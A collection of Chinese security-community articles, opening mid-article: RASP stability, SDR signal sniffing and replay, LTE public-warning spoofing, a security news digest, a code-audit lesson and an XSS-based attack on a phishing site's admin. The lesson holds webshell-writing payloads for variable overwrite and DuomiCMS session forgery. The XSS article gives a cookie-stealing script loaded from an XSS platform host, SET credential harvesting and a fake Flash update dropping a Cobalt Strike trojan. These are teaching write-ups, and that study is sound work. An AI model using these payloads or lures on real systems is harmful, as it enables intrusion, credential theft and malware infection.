这一点其实已经被OpenRASP较好的解决了，统一利用js做规则，然后利用js引擎解析规则。所以这一点不多赘述。
### 5.2 自身稳定性的问题
“安全产品首先要保证自己是安全的”，这句话说出来感觉是比较搞笑的，但是往往很多的安全产品其自身安全性就很差，只是仗着黑盒的不确定性才保持自己的神秘感罢了。对于RASP来说这句话更是需要严格奉行。因为RASP是将检测逻辑插入到hook点中的，只要到达了相应的hook点，检测逻辑是一定会被执行的，如果这个时候RASP实现的检测逻辑本身出现了问题，严重的话会导致整个业务崩溃，或直接被打穿。
**5.2.1 执行逻辑稳定性**
就像上文所说的一样，如果在RASP所执行的逻辑中出现了严重的错误，将会直接将错误抛出在业务逻辑中，轻则当前业务中断，重则整个服务中断，这对于甲方来说就是严重的事故，甚至比服务器被攻击还严重。
简单来举个例子（当然在真实写RASP的时候不会这么写，这里只是展示严重性），如果在RASP的检测逻辑中存在exit()这样的利用，将直接导致程序退出：
这也就是为什么很多甲方并不喜欢RASP这种方式，因为归根到底，RASP还是将代码插入到业务执行流中，不出问题还好，出了问题就会影响业务。相比来说，WAF最多就是误封，但是并不会down掉业务，稳定性上是有一定保障的。
**5.2.2 自身安全稳定性**
试想一个场景，如果RASP本身存在一定的漏洞，那是不是相当的可怕？即使原来的应用是没有明显的安全威胁的，但是在RASP处理过程中存在漏洞，而恰巧攻击者传入一个利用这样漏洞的payload，将直接在RASP处理流中完成触发。
举个实际的例子，比如在RASP中使用了受漏洞影响的FastJson库来处理相应的json数据，那么当攻击者在发送FastJson反序列化攻击payload的时候就会造成目标系统被RCE。
这其实并不是一个危言耸听的例子，OpenRASP在某版本使用的就是FastJson来处理json字符串，而当时的FastJson版本就是存在漏洞的版本。所以在最新的OpenRASP中，统一使用了较为安全的Gson来处理json字符串。
RASP的处理思路就决定了其与业务是联系非常紧密的，可以说就是业务的“一部分”，所以如果RASP自己的代码不规范不安全，最终将导致直接给业务写了一个漏洞。
**5.2.3 规则的稳定性**
RASP的规则是需要经过专业的安全研究人员反复打磨并且根据业务来定制化的，需要尽量将所有的可能性都考虑进去，同时尽量的减少误报。但是由于规则贡献者水平的参差不齐，很容易导致规则遗漏，从而根本无法拦截相关的攻击，或产生大量的攻击误报。这样对于甲方来说无疑是一笔稳赔的买卖——花费大量时间进行部署，花费大量服务器资源来启用RASP，最终的安全效果却还是不尽如人意。
如果想要尽量的完善规则，只能更加贴近业务场景，针对不同的情况做不同的规则判别。所以说规则和业务场景是分不开的，对乙方来说不深入开发、不深入客户是很难做好安全产品的，如果只是停留在实验阶段，是永远没有办法向工程化和产品化转换的。
### 5.3 部署复杂性的问题
在0x03以及0x04中不难看理想中最佳的Java
RASP实践方式是使用agentmain模式进行无侵入部署，但是受限于JVM进程保护机制没有办法对目标类添加新的方法，所以就会造成多次attach造成的重复字节码插入的问题。目前主流的Java
RASP推荐的部署方式都是利用premain模式进行部署，这就造成了必须停止相关业务，加入相应的启动参数，再开启服务这么一个复杂的过程。
对于甲方来说，重启一次业务完成部署RASP的代价是比较高的，所以都是不愿意采取这样的方案的。而且在甲方企业内部存在那么多的服务，一台台部署显然也是不现实的。目前所提出的自动化部署方案也受限于实际业务场景的复杂性，并不稳定。
## 0x06 总结
就目前来说RASP解决方案已经相对成熟，除非JDK出现新的特性，否则很难出现重大的革新。
目前各家RASP厂商主要都是针对性能及其他的辅助功能进行开发和优化，比如OpenRASP提出了用RASP构建SIEM以及实现被动扫描器的思路，这其实是一个非常好的思路，RASP配合被动扫描器能很方便的对企业内部的资产进行扫描，从而实现一定程度上的漏洞管控。
但是RASP不是万能的，并不能高效的防御所有的漏洞，其优劣势是非常明显的，应当正确的理解RASP本身的司职联合其他的防御措施构建完整的防御体系才能更好的做好安全防护。
个人认为RASP的最佳实践场所是甲方内部，甲方可以通过资产梳理对不同的系统进行相应的流量管控，这样RASP就能大大减少泛性检测所带来的的误报，同时更进一步的增加应用的安全性。
总体来说RASP是未来Web应用安全防护的方向，也同时是一个Web安全的发展趋势，其相较于传统安全防护产品的优势是不言而喻的，只要解决泛用性、稳定性、部署难等问题，可以说是目前能想出的一种较为理想方案了。
## 0x07 Reference
* https://asm.ow2.io/asm4-guide.pdf
* https://github.com/anbai-inc/javaweb-expression
* https://github.com/Lucifaer/headfirstjavarasp/tree/elexpressionhook
* https://zeroturnaround.com/software/jrebel/
* https://github.com/spring-projects/spring-loaded
* https://github.com/baidu/openrasp
* https://rasp.baidu.com/doc/
* http://www.fanyilun.me/2017/07/18/%e8%b0%88%e8%b0%88Java%20Intrumentation%e5%92%8c%e7%9b%b8%e5%85%b3%e5%ba%94%e7%94%a8/ | 社区文章 |
# 【技术分享】GNU Radio无线通信嗅探基础
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **backahasten**
****](http://bobao.360.cn/member/contribute?uid=245645961)
**预估稿费：300RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**文章内容简介**
1.使用哪些grc模块完成我们的嗅探工作
2.如何选择参数以获取最完美的波形
3.如何从波形还原回数据
我接下来会使用电视棒（RTL-SDR）嗅探一个固定码遥控锁开发组件。
我使用如下的grc流图
**模块选择与参数设定**
首先，rtlsdr_source中封装有电视棒的底层驱动，可以用它来获取原始的数据信号。
samp_rate表示采样率，由于软件无线电使用的是带通采样定理，根据定理，我们的采样率应该为所需采样信号的2倍，这样才能保证信号不失真，使用大的采样率固然有好处，但是会带来巨大的内存和运算消耗。
下面两项分别是频率和频率误差，frequency中填写需要获取信号的中心频率。由于sdr设备，尤其是电视棒的精度并不高，频率选择会有误差，Freq_corr用来修正误差，我没有更高精度的设备来确定这个值，所以写0。
还有其他一些参数，其中DC offset，IQ Balance Mode选择自动（Automatic）即可。主要说一下Gain Mode ，RF Gain，
IF Gain 和BB Gain
他们用来调整增益，如果不设置增益，信号的强度会很低，处理很麻烦，如果增益过大，信号在噪音中会很难识别出来。一般来说，Gain Mode 填自动即可。
上图是低通滤波器的配置参数，采样率和rtl-sdr source保持一致，cutoff Freq填写一个信号的大概宽度。我们可以先使用gqrx来确定一下。
我们可以看到一个尖峰，就是信号的位置，对应的瀑布图为红色，表示能量较高。由手册可知，这个模块使用ASK调制，信号范围比较窄，载根据上面的图，我们把截止频率设置为10KHz，就可以把大部分的信号截取下来。transition
width为过度带宽，根据博客《利用GRC进行安全研究和审计 –
将无线电信号转换为数据包》的介绍，这个值应该选为信道带宽的百分之40到50，由于这个遥控器只会在一个位置发射，且ASK的信号范围很窄，所以我填了5KHz，它的选择是一个根据实际情况不断试错改正的过程。
接下来，我使用Complex to
Mag对信号进行解调，去除载波。一般来说，发射的调制有调幅，调频和调相三种，分别使用能量大小的变化，频率的变化和波相位的变化表示数据，我们先来看看没解调之前的原始无线电信号是什么样的。
我们可以使用scope
sink这个模块观察，但是由于计算机性能的问题，波形有很明显的延时和卡顿，所以我使用file_sink把它采集成一个文件，之后使用Audacity进行观察。
使用图：
可以看到波形（注：没使用自动增益，RF，IF，BB增益各为30，对比请向下看）
Complex to Mag解调之后，会把能量大致为0解为低电平，能量不为0解成高电平，如下图所示。
大家可能会注意到，每一段的前几个峰值好像比较高，这是因为我们rtlsdr_source中Gain
Mode设置为了自动，没有信号的时候，增益会比较大，以便获取信号，发现信号之后，会调整增益到合适的区间。在原始信号的波形中就没出现这种情况。推荐使用自动增益，这不会干扰后面的数据获取，手动增益有局限性，需要根据距离和发射强度调节，很麻烦。
之后我们使用Threshold进行脉冲信号的整理，
小于0.2，为0，大一0.5，为一，处理之后波形如下。
我们提取到了基带信号。无论是继续深入解出数字信息，还是进行重放攻击，获取基带信号都是非常大的帮助。只录取原始信号进行重放，无论是信号的强度还是质量都很差，而通过基带信号调制之后再发送，整体信号是可控的，效果会好很多，距离也会增加，也可以导入其他更小巧的设备。
**我们接下来还原数字信息**
这点一定要注意，不要主观臆断的认为高电平就是1，低电平就是0，数字通信中，基带信号也有很多种表示方法，甚至有的是不能经过Threshold处理（例如双极性归零波形），此时，最正确的方法是阅读芯片手册。
接收器上使用的芯片有两个，分别是LM358和PT2272，LM358是集成运放芯片，主要为信号的放大，对我们没有意义，PT2272是我们要关注的。PT2272详细信息不再赘述，我只说重点：
使用ASK调制（这点从遥控器的说明书我已经知道了）
发出的编码信号由：地址码、数据码、同步码组成一个完整的码字
而信道编码的定义如下：
也就是说，a为时钟周期，4a高+12a低+4a高表示bit“0”,12a高+4a低+12a高表示bit“1”,4a高+12a低+12a高表示bit“f”，f只在地址码中使用。
这是每一帧的结构，也就是说，默认情况下，9个地址码，3个数据码，一个脉冲作为截断，一个帧携带3bit数据，应该有12*2+1也就是25个脉冲。
我们随意取出一帧波形，是遥控器上按“C”的时候发出的
可以解出，数据为“FFFFFFFF0010”，（最后的脉冲是一个隔断）也就是，数据为“010”。
**一些杂七杂八的事情**
1.grc图集合了集中不同的GUI库，可以自行选择，但是只能选一个，如果发现无法运行，看看图形库的选择是否和模块对应。
2.解调方法我只介绍了ASK，其他请参阅《利用GRC进行安全研究和审计 –
将无线电信号转换为数据包》这篇文章，实战推荐参阅阿里巴巴谢君前辈的《如何远程控制别人的无线鼠标：深度揭露mouseJack内幕 》
3.大家可能感觉这种方式很麻烦，属实很麻烦，发射的时候更麻烦，使用专用芯片无论是从成本上还是复杂度上都很又是，推荐使用Arduino设备驱动芯片进行发射，Arduino就像是硬件届的Python，功能十分强大，编程也比较简单。SDR设备主要可以用来对复杂通讯的嗅探和发射（比如横行的伪基站就是SDR），当然，基础也是很关键的。
4.涉及很多通信的知识，我是学渣，有写错或者理解错的希望前辈留言勘误。
5.挖个坑，争取有时间写一篇使用Arduino进行嗅探的文章。 | 社区文章 |
# HITB议题解读 | 伪造LTE地震海啸警信息
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 第十届HITB大会于2019年5月6日至10日在荷兰阿姆斯特丹举行，安全客将联手5位来自360的安全研究员，对他们的现场议题进行最权威的内容解读发布！敬请期待！以下为360
> UnicornTeam团队研究员李伟光的议题解读：伪造LTE地震海啸警信息（HACKING LTE PUBLIC WARNING
> SYSTEMS），供大家参考学习～
## 议题概要：
本议题将讨论LTE协议中与PWS(Public Warning System公共预警系统)相关的安全漏洞。
PWS是向公众播报地震海啸以及其他紧急事件的预警系统，在灾难发生前，PWS系统可以为人民的生命安全争取极其宝贵的时间。
我们仔细研究了LTE协议中与PWS相关部分，发现LTE空口中承载的预警信息是不经过加密以及完整性保护的，我们通过常用的软件无线电设备即可以仿造虚假的灾难预警信息，并且成功的迫使支持PWS的Android和iPhone手机发出灾难警报。通过对LTE协议中参数的精心配置，我们还实现了将灾难警报信息伪装成诈骗钓鱼以及广告短信的形式。最后我们提出了一些相应的解决办法，来防止PWS系统沦为摆设甚至成为电信诈骗的工具。
李伟光HITB现场分享
## 作者介绍：
李伟光是360 UnicornTeam团队研究员，主要从事移动通信网络GSM,WCDMA 与LTE网络协议的安全研究，擅长对NB-IoT基带芯片的逆向以及软件无线电开发等工作，同时也是360集团3GPP标准代表。
## 议题解析：
3GPP协议中规定了4种公共警报系统，分别是日本的ETWS，美国的CMAS，韩国的KPAS以及欧洲的EU-Alert。由于各个国家的安全要求不同，因此标准化工作较为困难。为了避免系统复杂性，防止漫游到其他国家手机不能正常接收警报信息，目前的标准中并未加入对警报信息的签名等验证信息。
同时由于手机在进行小区重选的时候，如果没有触发位置区更新流程(TAU)，手机是不会对基站的合法性进行甄别，这两个协议上的漏洞给伪造地震海啸警报信息提供了可能。
我们利用软件无线电设备USRP B210和开源的LTE测试平台srsLTE搭建LTE伪基站。为了不干扰正常用户的通信，我们的实验选择在了电磁屏蔽屋内进行。
为了能够使手机发起小区重选流程，我们搭建的伪基站的参数要尽量模仿合法基站的设置，可以利用一些常用的路测软件获取当前基站的参数，如TAC
PCI以及下行频点号。
由于LTE的小区重选机制相对于GSM等系统较为严格，即使信号强度高于合法基站，仍然难以触发手机的小区重选，我们可以选在优先频点或者将物理小区号设置成与合法基站相同的以增加接入成功率。
为了避免手机发起鉴权流程，要将TAC设置成与合法基站一样的，手机无法发起位置区更新，则不会对伪基站的合法性进行甄别。
LTE协议中直接携带警报信息内容的是系统广播信息System information，其中SIB
10携带的是日本的ETWS的第一级警报信息，此信息仅包含固定的警报消息类型，如地震海啸或者其他紧急警报。SIB
11中携带的是ETWS的第二级警报信息，包含具体的警报内容，如地震中心，地震强度等，此信息是自定义的。SIB 12是携带的CMAS KPAS和EU-ALERT警报消息。
由于ETWS相较于其他系统分为两个等级的警报信息，较为复杂，我们以ETWS为例进行伪造警报消息。
除了SIB10 SIB11直接携带警报消息外，SIB 1负责对SIB10以及SIB11的调度，paging消息负责向用户手机提示有警报消息需要接收。
由于srsLTE中没有针对SIB10的定义与实现，我们需要比照协议对SIB10进行构造，其中messageIdentifer字段标识了消息类型，地震警报需要将此值设置为0x1102。其他参数的具体配置可以参看截图。
我们需要在srsLTE源码中添加对paging消息的修改，使paging消息中增加对ETWS警报信息的指示。
其实我们不仅可以利用ETWS消息发送地震警报，我们甚至可以它改造成一个广告诈骗等垃圾短信。将message
identifier字段设置为0x1104就可以使手机不发出警报声，但是仍弹出信息内容。
以上是我们在Google Pixel手机上分别伪造的地震警报信息和添加了钓鱼电话的诈骗信息。
由于中国没有在手机移动网络中支持公共报警服务，因此国内版的Android手机并不会对伪造的警报信息作出响应，同时国行版的苹果手机也仅在MCC为001,MNC为01的测试网络中对警报信息作出响应。
公共警报信息的不加密造成的潜在安全威胁还是较大的，如果在人口密集处如满座的球场内发送警报信息有可能导致踩踏事件。2018年的夏威夷导弹误警报就是基于美国的PWS系统CMAS传播的，这导致了全城的恐慌和社会混乱。
目前可以利用非对称加密的机制对警报信息添加签名信息来防止恶意伪造的虚假警报。
由于各国对警报消息的要求不同，3GPP的警报的标准化进行较为困难，导致数字签名验证机制并没有作为一种强制执行要求，所以现在的手机均是不验证警报消息的合法性的。 | 社区文章 |
# 【知识】9月27日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： WordPress 4.8.1存在存储型XSS漏洞、ZNIU：首款利用Dirty COW漏洞的Android恶意软件、HP
iLO远程代码执行漏洞分析、编写自己的JEB2插件、Derbycon 2017视频**
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
********
********
如果数据是新时代的石油，我们就白白的被科技公司抢劫？
微软首次同时发布 Windows 和 Linux 版的 SQL Server
**
**
**技术类：**
********
WordPress 4.8.1存在存储型XSS漏洞
<https://blog.sucuri.net/2017/09/stored-cross-site-scripting-vulnerability-in-wordpress-4-8-1.html>
ZNIU：首款利用Dirty COW漏洞的Android恶意软件
<http://blog.trendmicro.com/trendlabs-security-intelligence/zniu-first-android-malware-exploit-dirty-cow-vulnerability/>
中文翻译见：<http://bobao.360.cn/learning/detail/4484.html>
HP iLO远程代码执行漏洞分析
<https://www.synacktiv.com/posts/exploit/rce-vulnerability-in-hp-ilo.html>
编写自己的JEB2插件
<http://mp.weixin.qq.com/s/oz2Wf8TA6aVmLbg_2NISSg>
Sysdig Inspect：容器故障排除和安全排查的图形化程序
<https://sysdig.com/blog/sysdig-inspect/>
Meteor allow/deny漏洞分析
<https://blog.meteor.com/meteor-allow-deny-vulnerability-disclosure-baf398f47b25>
Derbycon 2017视频
<http://www.irongeek.com/i.php?page=videos/derbycon7/mainlist>
Linux/x86_64 – mkdir() 'evil' Shellcode (30 bytes)
<https://www.exploit-db.com/exploits/42791/>
ProcDOT：可视化恶意软件分析
<https://n0where.net/visual-malware-analysis-procdot/>
Time Travel Debugging现在在WinDbg Preview版中已经可以使用了
<https://blogs.msdn.microsoft.com/windbg/2017/09/25/time-travel-debugging-in-windbg-preview/>
NodeJS Debugger命令注入exp（Metasploit模块）
<https://www.exploit-db.com/exploits/42793/>
McAfee Labs威胁报告（2017年9月）
<https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-sept-2017.pdf>
通过Debuggers攻击Android应用程序
<https://blog.netspi.com/attacking-android-applications-with-debuggers/>
Revealing the content of the address bar (IE)
<https://www.brokenbrowser.com/revealing-the-content-of-the-address-bar-ie/>
DNS Tunneling with Burp Collaborator
<https://blog.netspi.com/dns-tunneling-with-burp-collaborator/>
Metasploitable 3: Exploiting HTTP PUT
<http://www.hackingtutorials.org/exploit-tutorials/metasploitable-3-exploiting-http-put/>
CVE-2017-1000253:Linux PIE/stack corruption
<https://www.qualys.com/2017/09/26/cve-2017-1000253/cve-2017-1000253.txt>
通过Twitter构建CC服务器
<https://pentestlab.blog/2017/09/26/command-and-control-twitter/>
用Instana监控Python
<https://www.instana.com/blog/monitoring-python-instana/> | 社区文章 |
# 前言
前几天看到 B 站 up
主公孙田浩投稿的视频「QQ被盗后发布赌博广告，我一气之下黑了他们网站」，看完后不禁感叹为啥自己没有那么好的运气......实际上这就是一个中规中矩的 XSS
漏洞案例，在安全圈子里面应该也算是基本操作，正好博客以前没有记录过类似的文章，那么本文就来还原一下这个攻击过程。
# 鉴别网站
下面是一个经典的 QQ 空间钓鱼网站：
## 域名分析
钓鱼网站最直观的就是看域名，可以看到目标网站域名 ：qq.xps.com 尽管域名中出现了 qq 字样，但是一级域名却是 xps.com
这一点就直接暴露了钓鱼网站的本性。
早期还有一种 **利用拉丁字母** 注册的域名伪造钓鱼网站的案例，这种就比较逼真了，下面国光简单列举一些：
**OPPO 官网 真假域名**
# 真域名
www.oppo.com
# 假域名
www.οppο.com
**Pornhub 官网真假域名**
# 真域名
www.pornhub.com
# 假域名
www.ρornhub.com
**唯品会官网 真假域名**
# 真域名
www.vip.com
# 假域名
www.νip.com
关于这类域名就不再列举了，早期这种方法成功率是非常的高的，有时候甚至都可以欺骗到我们这种专业的信息安全从业者。
## 功能分析
钓鱼网站既然是要钓鱼的话，说那么多半还会有后台管理功能。所以使用常规的目录扫描工具多半可以扫描出一些端倪出来：
dirsearch -u "http://qq.xps.com/" -e * -x 301
果然扫描出了这个 QQ 空间钓鱼网站的后台登录口了：<http://qq.xps.com/admin/login.php>
至此基本上已经可以确定这个目标网站就是传说中的钓鱼网站了，下面来看一下这个钓鱼网站是如何运作的吧。
## 钓鱼流程
小白用户前台输入自己的 QQ 账号和密码信息，点击登录后域名跳转到真正的 QQ 官网：
然后用户再输入自己的 QQ 账号和密码就可以成功登陆了。
目前很多钓鱼网站都是这种思路，这可以让被钓者产生一种自己第一次是密码不小心输入错误的错觉，从而放松警惕，妙啊！真是妙蛙种子吃着妙脆角，妙进了米奇妙妙屋
妙到家了
然后钓鱼网站的管理员每天会到自己的 QQ 空间钓鱼管理中心里面看看今天又有哪些菜鸡上钩了：
可以看到上钩者的 QQ 号为：1314520 密码为：sbhac... 唉，不对劲？貌似自己被羞辱了一番......
# 攻击思路
本文主要是来梳理一下 XSS 常剑的攻击思路，关于 XSS
以为的思路不在本文的叙述范围内，另外如果有小伙伴要不错新的姿势的话欢迎评论区里面或者邮件留言，国光日后会继续完善本文的。
## 思路一：XSS 盲打
如果目标网站存在 XSS 的话且没有 httponly 防御 cookie 那么就可以直接盲打 XSS。首先准备一个 XSS 靶场，国光这里比较推荐
Github 上面开源的蓝莲花 XSS 平台。
官方项目地址为：<https://github.com/firesunCN/BlueLotus_XSSReceiver>
可惜已经清空数据了，还好国光我 fork 了一份：
国光 fork 的项目地址为：<https://github.com/sqlsec/BlueLotus_XSSReceiver>
然后使用 XSS 平台里面的模块来生成一个 XSS payload：
<script src="http://10.20.24.244/xss/myjs/x.js"></script>
可以去掉多余的双引号：
<script src=http://10.20.24.244/xss/myjs/x.js></script>
然后回到钓鱼网站前台，在用户名或者密码出插入 payload（理论上来说 密码处成功率要高一点），如果有表单长度限制的话，可以手工审查元素修改 input
的长度限制：
这样黑客攻击的步骤基本上就走完了，下面回到钓鱼网站管理员的视角。
钓鱼网站的搭建者到自己的 QQ 空间钓鱼管理中心里面看看今天又有哪些菜鸡上钩了：
发现真的有菜鸡上钩，密码居然是 1111111111 嘴角忍不住上仰。
此时他不知道的是，用户账号旁边实际上有一串 JS 代码被解析了，而此时黑客在 XSS 平台里面可以直接看到管理员已经上钩了：
可以直接看到管理员的后台地址和 cookie 信息，拿到后台地址和 Cookie 信息就可以直接抓包替换 Cookie
登录到钓鱼网站的后台，这些基本操作国光我就不在啰嗦了，下面来说一下另一种思路。
## 思路二：SET 钓鱼
假设目标网站存在 httppnly 的话，我们拿到的 cookie
信息也是不完整的，所以传统的思路是行不通的，这种情况下该怎么办呢？仔细想想，既然不能正面肛 httponly 的话，那么为什么不考虑绕过他呢？
下面国光主要描述一下如何使用 Kali Linux 里面的 set 社工工程学工具包来进行钓鱼。
SET 在 Kali Linux 里面的全称是 social engineering toolkit：
**Github 项目地址为** ：<https://github.com/trustedsec/social-engineer-toolkit>
点击即可直接启动，首先会看到如下的菜单：
Select from the menu:
1) Social-Engineering Attacks # 社会工程攻击
2) Penetration Testing (Fast-Track) # 渗透测试（快速通道）
3) Third Party Modules # 第三方模块
4) Update the Social-Engineer Toolkit # 更新 SET
5) Update SET configuration # 更新 SET 配置
6) Help, Credits, and About # 帮助
99) Exit the Social-Engineer Toolkit # 退出
set> 1
选择 1 后进入到下面的菜单：
Select from the menu:
1) Spear-Phishing Attack Vectors # 鱼叉式网络钓鱼攻击
2) Website Attack Vectors # 网站攻击
3) Infectious Media Generator # 感染性介质生成
4) Create a Payload and Listener # 创建 Payload 和 监听器
5) Mass Mailer Attack # 群发邮件
6) Arduino-Based Attack Vector # 基于 Arduino 的攻击
7) Wireless Access Point Attack Vector # 无线接入点攻击
8) QRCode Generator Attack Vector # 二维码生成器攻击
9) Powershell Attack Vectors # Powershell 攻击
10) Third Party Modules # 第三方模块
99) Return back to the main menu. # 返回主菜单
set> 2
选择 2 后进入到下面的菜单：
1) Java Applet Attack Method # Java Applet 攻击
2) Metasploit Browser Exploit Method # Metasploit Browser 浏览器攻击
3) Credential Harvester Attack Method # 凭证窃取攻击
4) Tabnabbing Attack Method # 标签页劫持
5) Web Jacking Attack Method # 网页劫持攻击
6) Multi-Attack Web Method # 综合网页攻击
7) HTA Attack Method # HTA 攻击
99) Return to Main Menu # 返回主菜单
set:webattack> 3
选择 3 进入到下面的菜单：
1) Web Templates # 网站模板
2) Site Cloner # 站点克隆
3) Custom Import # 自定义导入
99) Return to Webattack Menu # 返回主菜单
set:webattack> 2
选择 2 然后具体看下下面的操作：
这个时候一个假的钓鱼网站就制作完成了，访问 Kali Linux 的 80 端 10.20.25.39 效果如下：
这个登录入口和 qq.xps.com/admin/login.php 的登录口一模一样：
现在的任务就是想办法让管理员在假的网站里面输入网站的后台用户名和密码信息，那么该怎么诱导管理员点击呢？对，聪明的网友肯定想到了，还是利用 XSS，准备下方的
payload，这个 XSS 的作用就是普通的链接跳转：
<script>window.location.href="http://10.20.25.39/"</script>
然后将这个 payload 插入到钓鱼网站的后台中：
此时管理员到自己的 QQ 空间钓鱼管理中心里面看看今天又有哪些菜鸡上钩了，结果没想到网站浏览器却跳转到了：10.20.25.39
页面，这个就是我们制作的假的QQ 空间钓鱼管理中心的登录界面。
如果管理员大意的话，这个时候会以为登录会话超期了，需要重新登录，就在我们假的网站后台里面输入了真正的密码：
我们这个假的网站也非常妙，登录后自动转发到正确的网站登录成功，真是学以致用呀~~
管理员放松警惕的同时，我们的 Kali Linux 里也窃取到管理员的明文账号和密码信息了：
拿到这个后台就可以成功登陆了，Bingo ~
当然如果管理员是一个有很高安全意识的人，可能是不会上当的，本案例仅供意淫参考使用，实际运用还是得看运气。
## 思路三：Flash 钓鱼
这也是 B 站 视频里面提到过的方法，首先我们需要准备一个钓鱼页面，这里在 Github 上搜索到了 2 个 相关的项目，下面分别展示一下：
**项目地址** ：<https://github.com/Wileysec/adobe-flash-phishing-page>
模仿的 Flash Player 中文官网的页面
**项目地址** ： <https://github.com/r00tSe7en/Flash-Pop>
这种的就要稍微激进一点，强迫症都会忍不住去点击下载的：
国光这里选择了第 2 种激进的方法，点击立即升级的这个按钮点击会下载好国光我准备好的 CS 木马。如果管理员以为自己的 Flash
版本过低的话，可能会下载并运行这个木马：
这里偷懒了没有给 Flash.exe 添加图标伪造一下，关于图标伪造大家可以参考之前的文章：
[为 Cobalt Strike exe 木马添加图标](https://www.sqlsec.com/2020/10/csexe.html)
如果顺利的话就会成功上线 CS：
# 总结
免责声明：本文出现的思路案例仅供网络安全学习和研究技术使用，禁止使用本文的攻击技术工具用于非法用途，否则后果自负，另外文中所使用的 QQ
空间钓鱼网站是人为修改的漏洞靶场。 | 社区文章 |
本文由红日安全成员： **七月火** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 [**PHP-Audit-Labs**](https://github.com/hongriSec/PHP-Audit-Labs) 。现在大家所看到的系列文章，属于项目
**第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第14篇**
代码审计文章：
## Day 14 - Snowman
题目叫做雪人，代码如下：
**漏洞解析** ：
这道题目讲的是一个 **变量覆盖** 与 **路径穿越** 问题。在 **第10-11行** 处， **Carrot** 类的构造方法将超全局数组
**$_GET** 进行变量注册，这样即可覆盖 **第8行** 已定义的 **$this- >** 变量。而在 **第16行** 处的析构函数中，
**file_put_contents** 函数的第一个参数又是由 **$this- >**
变量拼接的，这就导致我们可以控制写入文件的位置，最终造成任意文件写入问题。下面我们试着使用 **payload** ：
**id=../var/www/html/shell.php &shell=',)%0a<?php phpinfo();?>//** 写入
**webshell** ：
## 实例分析
本次实例分析，我们选取的是 **[DuomiCMS_3.0](https://duomicms.net)**
最新版。该CMS存在全局变量注册问题，如果程序编写不当，会导致变量覆盖，本次我们便来分析 **由变量覆盖导致的getshell** 问题。
首先我们先来看一下该CMS中的全局变量注册代码，该代码位于 **duomiphp/common.php** 文件中，如下：
其中 **_RunMagicQuotes** 函数将特殊符号，使用 **addslashes** 函数进行转义处理。我们来搜索 **fwrite**
函数，看看是否存在可利用的写文件程序（为了写 **shell** ）。 **phpstorm** 程序搜索结果如下：
我们可以看到有一个 **admin\admin_ping.php** 文件中，存在可利用的地方，因为其写入的目标文件为 **PHP**
程序，且写入内容中存在两个可控变量。其代码具体如下：
**$weburl** 变量和 **$token** 变量从 **POST方式** 获取，其变量也只是经过 **_RunMagicQuotes**
函数过滤处理，以及 **duomiphp\webscan.php** 文件的过滤规则，但是并不影响我们写shell。过滤规则具体如下：
然而要想利用这个文件，我们就必须是 **admin**
身份，不然没有权限访问该文件。所以我们看看该CMS是如何对用户身份进行认定的，是否可以利用之前的变量覆盖来伪造身份呢？
跟进 **admin\admin_ping.php** 文件开头包含的 **admin\config.php** 文件，那么我们要关注的是如下代码：
我们需要知道程序是如何对用户的身份进行处理的，跟进 **duomiphp\check.admin.php** 文件，关注如下代码：
我们可以看到这里记录了用户名字、所属组、用户，再来看看 **admin** 所对应的这三个值分别是多少。找到 **admin\login.php**
文件，如下图，我们只要让 **checkUser** 方法返回1即是admin用户。
跟进 **duomiphp\check.admin.php** 文件的 **checkUser** 方法，具体代码如下：
我们直接使用正确admin账号密码登录后台，可以观察到admin用户对应的用户和所属组均为1。
那么现在我们只要利用变量覆盖漏洞，覆盖 **session** 的值，从而伪造 **admin** 身份，然后就可以愉快的写shell了。
## 漏洞利用
我们需要先找一些开启 **session_start** 函数的程序来辅助我们伪造身份，我们这里就选择 **member/share.php** 文件。
我们先访问如下 **payload** ：
http://localhost/member/share.php?_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1
当我们访问 **payload** 后，我们对应 **session** 的用户和所属组都变成了1。然后，我们再POST如下数据包写入webshell：
POST /admin/admin_ping.php?action=set HTTP/1.1
Host: www.localhost.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
weburl=";phpinfo();//&token=
## 修复建议
实际上，这个漏洞和 **Dedecms** 变量覆盖漏洞很相似。而在 **Dedecms**
的官方修复代码中，多了检测变量名是否为PHP原有的超全局数组，如果是，则直接退出并告知变量不允许，具体修复代码如下：
## 结语
看完了上述分析，不知道大家是否对 **变量覆盖** 导致的漏洞有了更加深入的理解，文中用到的 **CMS** 可以从这里(
**[DuomiCMS_3.0](https://duomicms.net/portal.php?mod=attachment&id=23)**
)下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 **[email protected]** 联系我们。
**Day14** 的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：链接:
<https://pan.baidu.com/s/1pHjOVK0Ib-tjztkgBxe3nQ> 密码: 59t2（题目环境：PHP5.2.x）
题解我们会阶段性放出，如果大家有什么好的解法，可以在文章底下留言，祝大家玩的愉快！ | 社区文章 |
## 漏洞描述
